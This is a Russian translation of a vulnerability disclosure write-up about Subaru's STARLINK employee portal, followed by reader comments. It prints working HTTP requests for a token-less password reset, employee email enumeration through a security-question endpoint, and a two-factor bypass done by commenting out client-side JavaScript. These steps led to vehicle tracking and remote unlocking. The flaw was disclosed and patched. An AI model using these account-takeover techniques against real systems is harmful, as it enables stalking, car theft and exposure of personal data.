
Введение
20 ноября 2024 года я и Шубхам Шах обнаружили уязвимость безопасности в сервисе автомобиля Subaru, подключённого к STARLINK. Он предоставил нам неограниченный целевой доступ ко всем автомобилям и аккаунтам пользователей в США, Канаде и Японии.
Благодаря доступу, полученному через эту уязвимость, нападающий, зная лишь фамилию и почтовый индекс жертвы, почтовый адрес, номер телефона или номерной знак, мог выполнять следующие действия:
- Дистанционно запускать и глушить двигатель, выполнять блокировку и разблокировку, получать текущее местоположение любого автомобиля.
- Получать полную историю местонахождения любого автомобиля за последний год с точностью до пяти метров, обновляемую при запуске двигателя.
- Запрашивать и получать личную информацию (personally identifiable information, PII) любого покупателя, в том числе контакты для экстренной связи, авторизованных пользователей, физический адрес, платёжную информацию (например, последние четыре цифры кредитной карты) и PIN автомобиля.
- Получать доступ к различным пользовательским данным, в том числе к истории звонков, сведениям о предыдущих владельцах, показаниям одометра, истории продаж и многому другому.
После отправки нами отчёта об уязвимости, подверженная уязвимости система была пропатчена в течение 24 часов и никогда не использовалась злонамеренно.
Proof of Concept
Перехватываем за десять секунд контроль за Subaru, зная только её номерной знак, и получаем от автомобиля историю местонахождения за несколько лет

Описание уязвимости
Чуть больше года назад я купил маме Subaru Impreza 2023 года в обмен на обещание, что она позволит позаимствовать её и попробовать хакнуть. Последние несколько лет я занимался охотой на уязвимости у других автопроизводителей, но изучать Subaru мне пока не доводилось.
Приехав в конце года на День благодарения, я воспользовался возможностью и попросил у мамы логин к аккаунту, чтобы разобраться, получится ли из этого что-нибудь.
▍ Аудит мобильного приложения MySubaru
Первым делом я хотел протестировать приложение MySubaru. Это приложение позволяет пользователям отправлять команды автомобилю. Я создал для приложения прокси с помощью Burp Suite и начал перехватывать HTTP-запросы команд телематики, надеясь найти уязвимость, позволяющую разблокировать машины без авторизации.
Показанный ниже запрос был отправлен при разблокировке автомобиля через приложение:
POST /g2v30/service/g2/unlock/execute.json;jsessionid=AE6E4482F5C4493A79C8F3BD656F8BBA HTTP/1.1
Host: mobileapi.prod.subarucs.com
Content-Type: application/json
Connection: keep-alive
Accept: */*
User-Agent: MySubaru-PROD-SOA/2024110100 CFNetwork/1568.300.101 Darwin/24.2.0
Content-Length: 83
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
{
"delay": 0,
"unlockDoorType": "ALL_DOORS_CMD",
"vin": "4S3GTAV64P3701234",
"pin": "1234"
}
Потерпев неудачу при попытке обхода авторизации команд автомобилю в приложении, я ещё немного исследовал приложение, но больше не нашёл ничего интересного для тестирования. Всё казалось надёжно защищённым. Конечных точек было не так много. Авторизация работала очень хорошо.
Возможно, тестирование приложения MySubaru было неправильным подходом?
По моему опыту работы с автопроизводителями я знал, что могут существовать публично доступные приложения для сотрудников с более широкими возможностями, чем у приложений для покупателей. Помня об этом, я решил перейти к охоте за другими веб-сайтами, связанными с Subaru.
▍ Находим панель администратора Subaru
Я спросил своего друга Шуба в Discord, будет ли ему интересно поискать со мной потенциальные приложения для сотрудников Subaru. Он с радостью согласился, и почти сразу же отправил мне такое сообщение:
shubs — 11/19/2024
ты уже видел этот хост?
subarucs.com
Он заметил, что домен
my.subaru.com
(используемый приложением) являлся CNAME для mys.prod.subarucs.com
(домена, который я ещё не видел).nslookup my.subaru.com
Server: 127.0.0.53
Address: 127.0.0.53#53
Non-authoritative answer:
my.subaru.com canonical name = www.mysubaru.com.
www.mysubaru.com canonical name = mys.prod.subarucs.com.
Name: mys.prod.subarucs.com
Мы провели сканирование, чтобы найти другие поддомены, и проверили результаты:
…
STARLINK® Admin Portal - https://portal.prod.subarucs.com/login.html
…
Это определённо походит на функции для сотрудников. Быстренько погуглив, я узнал, что STARLINK — это название используемой в автомобилях Subaru информационно-развлекательной системы, обеспечивающей все функции дистанционного управления. Похоже, мы нашли связанную с этой системой панель администратора.

▍ Захват произвольного аккаунта в администраторском портале Subaru STARLINK
На первый взгляд казалось, что особо тут ничего не добьёшься. Это была просто панель логина, а учётных данных мы не знали. Я просмотрел исходники веб-сайта, надеясь найти чуть больше, и наткнулся на следующий фрагмент:
<script type="text/javascript" src="/assets/_js/starlinkEnroll.js"></script>
В папке
/assets/_js/
хранились интересные файлы JavaScript, загружавшиеся на странице логина, поэтому я исследовал папку брутфорсом, надеясь найти другие файлы JavaScript.Спустя несколько минут работы FFuF мы обнаружили файл
login.js
, в котором нашёлся очень интересный фрагмент кода:$('#new_password_submit').on('click', function(e) {
e.preventDefault();
if($('#forgot-password-step4-form').valid()) {
disableBtns();
$.ajax({
url: "/forgotPassword/resetPassword.json",
type: "POST",
contentType: "application/json",
data: JSON.stringify({
email: email,
password: $('#new_password').val(),
passwordConfirmation: $('#confirm_new_password').val()
}),
async: false
}).done(function (response) {
Похоже было, что существует конечная точка
resetPassword.json
, выполняющая сброс аккаунтов сотрудников без токена подтверждения!Если это работало так, как было написано на JavaScript, то нападающий мог просто ввести любой работающий почтовый адрес сотрудника и захватить его аккаунт. Я отправил следующий POST-запрос, чтобы убедиться в наличии доступа к этой функциональности:
HTTP-запрос
POST /forgotPassword/resetPassword.json HTTP/1.1
Host: portal.prod.subarucs.com
{
"email": "random@random.com",
"password": "Example123!",
"passwordConfirmation": "Example123!"
}
HTTP-ответ
HTTP/1.1 200
Content-type: application/json
Content-length: 7
“error”
Похоже было, что она работает, нам лишь нужно найти почтовый адрес сотрудника для проверки. Так как приложение было довольно большим, у него, вероятно, было множество разных пользователей, так что нам нужно было как-то составить их список. Я исследовал остальную часть кода на JS в поисках конечной точки, которая позволила бы составить список почтовых адресов, и заметил следующее:
HTTP-запрос
GET /adminProfile/getSecurityQuestion.json?email=example@example.com HTTP/1.1
Host: portal.prod.subarucs.com
HTTP-ответ
HTTP/1.1 200
Content-type: application/json
Content-length: 7
{
"error": "Invalid email"
}
Показанная выше конечная точка возвращала контрольный вопрос пользователя, если почтовый адрес был валидным. Мы могли использовать её для составления списка аккаунтов пользователей, пока не найдём того, кто активен на этой платформе.
▍ Составление списка почтовых адресов сотрудников
Я выполнил в LinkedIn поиск по запросу
Subaru STARLINK
и обнаружил несколько сотрудников, которые, похоже, были разработчиками ПО. Узнав их имена, мы загуглили их и выяснили, что почтовые адреса Subaru имеют следующий формат:[инициал_имени][фамилия]@subaru.com
Мы составили несколько почтовых адресов и передали их конечной точке
getSecurityQuestion.json
. На четвёртой попытке мы получили ответ!<label for="securityQuestionId">
<span class="securityQuestionText">What city were you born in?</span>
</label>
Почтовый адрес
jdoe@subaru.com
(имя изменено) оказался валидным! Мы отправили его в конечную точку сброса пароля.HTTP-запрос
POST /forgotPassword/resetPassword.json HTTP/1.1
Host: portal.prod.subarucs.com
{
"email": "jdoe@subaru.com",
"password": "Example123!",
"passwordConfirmation": "Example123!"
}
HTTP-ответ
HTTP/1.1 200
Date: Wed, 20 Nov 2024 03:02:31 GMT
Content-Type: application/json
Connection: close
X-Frame-Options: SAMEORIGIN
Content-Length: 9
"success"
Сработало! Мы попробовали выполнить вход.

Мы успешно захватили аккаунт сотрудника, но далее появился запрос двухфакторной аутентификации для работы с веб-сайтом. Аутентификация была специализированной, поэтому мы решили поискать способы как-то её обойти.
▍ Обходим 2FA
Мы попробовали самое простое, что смогли придумать: убрали из UI клиентский оверлей.
Строка
$('#securityQuestionModal').modal('show');
Замена
//$('#securityQuestionModal').modal('show');
После удаления оверлея на стороне клиента мы попробовали выполнять разные действия. Казалось, что приложение работает без проблем. Работали все кнопки и приложение возвращало данные со стороны сервера.

▍ Следим за перемещениями мамы в течение последнего года
В левой панели имелось множество разных функций, но самой интересной мне показалось «Последнее известное местоположение». Я ввёл фамилию моей мамы и почтовый индекс. В результатах поиска появился её автомобиль. Я нажал на него и увидел все места, куда моя мама ездила за последний год:
Date | Odometer | Location |
---|---|---|
11/21/2024 6:18:56 PM | 14472.6 | 41.30136,-96.161142 |
11/21/2024 4:59:51 AM | 14472.6 | 41.301402,-96.161134 |
11/21/2024 4:49:02 AM | 14472.6 | 41.301286,-96.161145 |
… | … | … |
11/02/2023 1:44:24 PM | 6440.6 | 41.256003,-96.080627 |
11/01/2023 9:52:47 PM | 6432.5 | 41.301248,-96.159951 |
11/01/2023 12:16:02 PM | 6425.2 | 41.259397,-96.078775 |
Чтобы лучше разобраться в данных, я экспортировал историю местонахождения Impreza моей мамы за год и импортировал её в iframe Google Maps. Показанная ниже карта — это слегка видоизменённый экспорт (некоторые личные данные удалены) всех посещённых ею мест.
▍ Визуализация истории местонахождения Subaru за год


Существует куча других конечных точек. Одной из них оказался поиск автомобилей, позволяющий выполнять запросы по фамилии покупателя и почтовому индексу, номеру телефона, почтовому адресу и номеру VIN (который можно получить по номерному знаку), чтобы получить/модифицировать доступ к автомобилю.


▍ Разблокируем машину подруги
Поискав в дэшборде мою машину и найдя её, я убедился, что дэшборд администратора STARLINK предоставляет доступ к практически любой Subaru в США, Канаде и Японии. Мы хотели убедиться, что ничего не упускаем, поэтому связались с подругой и спросили, можно ли хакнуть её машину, чтобы продемонстрировать, что для полного захвата автомобиля не требуется никаких дополнительных требований или функций.
Она отправила нам свой регистрационный номер своей машины, мы ввели его в панель администратора и добавили себя в пользователи.

Мы подождали несколько минут и потом увидели, что наш аккаунт успешно создан.

Получив доступ, я спросил её, может ли она выглянуть в окно и проверить, происходит ли что-нибудь с её автомобилем. Я отправил команду «разблокировать». Она прислала нам это видео.
Успех!
Потом она подтвердила, что не получала никаких уведомлений, текстовых сообщений или писем, когда мы добавились в качестве авторизованных пользователей и разблокировали её машину.
Хронология
- 20 ноября 2024 23:54 CST: отчёт отправлен на почтовый адрес SecOps.
- 21 ноября 2024 7:40 CST: получен ответ от команды Subaru.
- 21 ноября 2024 16:00 CST: уязвимость устранена, воспроизведение невозможно.
- 23 января 2025 6:00 CST: опубликован пост в блоге.
Дополнение
При написании поста мне очень сложно было составлять ещё один пост о взломе автомобилей. Большинство читателей моего блога работают в сфере безопасности, поэтому не думаю, что методики сброса пароля или обхода 2FA для них новы. Мне казалось, что самое важная информация — это влияние самого бага и внутренняя работа подключённых к Интернету автомобильных систем.
Автомобильная индустрия не рассказывает нам, что 18-летний сотрудник из Техаса может запрашивать платёжную информацию о машине в Калифорнии и что это не приведёт ни к каким аварийным уведомлениям. Это часть его повседневной работы. Все сотрудники имеют доступ к куче личной информации, а вся система построена на доверии.
Похоже, очень сложно обезопасить такие системы, если в них по умолчанию встроен такой широкий доступ.
Благодарности
Выражаю огромную благодарность людям, помогавшим в написании и вычитке этого поста:
- Gren (https://bsky.app/profile/nop.codes).
- Иэну Кэрроллу (https://x.com/iangcarroll).
- Джастину Райнхарту (https://twitter.com/sshell).
- Джозефу Тэкеру (https://x.com/rez0).
- Бретту Бурхаусу (https://x.com/bbuerhaus).
- Мэйку Роберту (https://x.com/xehle).
- Джоэлю Марголису (https://x.com/0xteknogeek).
Telegram-канал со скидками, розыгрышами призов и новостями IT ?

Комментарии (23)
koreychenko
03.02.2025 13:18Т.е. там было настолько дыряво, что можно было отправить запрос на смену пароля зная только email сотрудника? Во всех нормальных системах тебе на указанную почту приходит ссылка на восстановления с токеном.
xelozz
03.02.2025 13:18Дак еще и этап двухфакторной аутентификации оказался просто слоем над страницей, пропустить которой возможно было закомментив js, который рисовал гомеопатическую форму.
mclander
03.02.2025 13:18-- А бэкенд готов?
-- Не-а, у нас там срочный баг с запуском двигателя, а потом нужно ещё для твоих табличек иконки добавить в датасет... А с четверга я в отпуск...
-- Слушай, ну хоть заглушку сделай на метод, пусть всегда 200 возвращает. Я её буду дергать при 2FA, а потом как ты код докинешь, всё волшебным образом заработает.
-- Ну ок, щас баг доправлю, заодно тебе метод закачу. После отпуска мне напомни только...
-- Огонь! Не волнуйся, напомню.
wepp
03.02.2025 13:18А сам факт того, что сотрудники компании могут получить доступ к управлению авто клиентов? Можно попытаться логически это объяснить, но в целом - странная история.
acc0unt
03.02.2025 13:18А разгадка проста: пытаться во внутренних корпоративных софтинах что-то "логически объяснять" - это фундаментально тупиковый подход.
Не было там логики и не будет. ПО такого типа растёт очень органически. Если повезёт, то как куст. Если не повезёт, то как опухоль.
Xius
03.02.2025 13:18Те хоть по недосмотру. А Фольксваген собирал телеметрию, местоположение машин клиентов с точностью до сантиметра. И даже взламывать не пришлось, всё само утекло...
Нахождение такой информации в (почти) публичном доступе не порадует ни одного владельца автомобиля Volkswagen Group, но в издании Spiegel приводят уж совсем неприятные примеры. Это и данные о перемещении полицейских автомобилей, и точная информация о путешествиях немецких политиков. Интересно, что геолокация в базе хранилась отдельно от персональных данных, но во многих случаях было возможным сопоставление разных баз в утечке так, чтобы привязать лог перемещений к конкретному пользователю — по данным, которые сам пользователь ввел в приложении для работы с автомобилем.
ifap
03.02.2025 13:18Возможно, PoC стоило послать не в Субару, а их покупателям: интересно, какой ураган поднялся бы, получил тысячи автовладельцев копию всей информации о себе, включая логи звонков, нажитой непосильным трудом автопроизводителя...
Wolframium13
03.02.2025 13:18Зачем? Ради шума?
ifap
03.02.2025 13:18Да, ради шума. Потому что пока эта инфа проходит по профессиональным сайтам, реакция: ну, моледец Субару, быстро отреагировали на инцидент. А если об этом напишет условный NYT на первой полосе, Субару и другие автопроизводители будут более лучше стараться не допускать такие инциценты.
Ninil
03.02.2025 13:18Вот создают же проблему на пустом месте (я про автопроизводителей):
зачем вообще авто подключать к интернету? Не подключения к интернету - нет большинства проблем.
ок, захотели порадовать зумеров очередным бесполезным приложением в телефоне. Ну так физически разделите два "контура" упраления в авто: один - оффлайноый (как на всех нормальных авто без доступа в интернет), а второй - для взаимодействия с интернетом. Общение двух "компьютеров" - исключительно по ограниченному и защищенному API и только в рамках дозволенного по принципу "что не разрешено, то запрещено".
Wolframium13
03.02.2025 13:18Что бы приглашать на ТО, как минимум, как максимум собирать информацию и использовать в своих проектах или продавать.
Ninil
03.02.2025 13:18Ну так это можно и без подключения к интернету делать. Пиши логи на внутренний оффлановый носитель, во время планового ТО скачивай эту информацию (что официал, что неофициал скорее всего все равно использует какое-то фирменное диагностическое ПО). Напоминание о ТО как-то работало десятилетия и без интернета (да и в Европе например большинство более-менее свежих машин и так обслуживается у официалов)...
В общем я про то, что ту же задачу можно было бы решить с меньшими рисками без ощутимой потери результата.Wolframium13
03.02.2025 13:18Ну риски посчитали несущественными на фоне возможности получать сведения 24/7.
jhoag
Дубль: https://habr.com/ru/companies/kaspersky/articles/876968/
ru_vds Автор
Добрый день! Это не дубль, а перевод оригинальной статьи, на которую ссылаются в новости по вашей ссылке. Наш перевод интересен в первую очередь подробностями.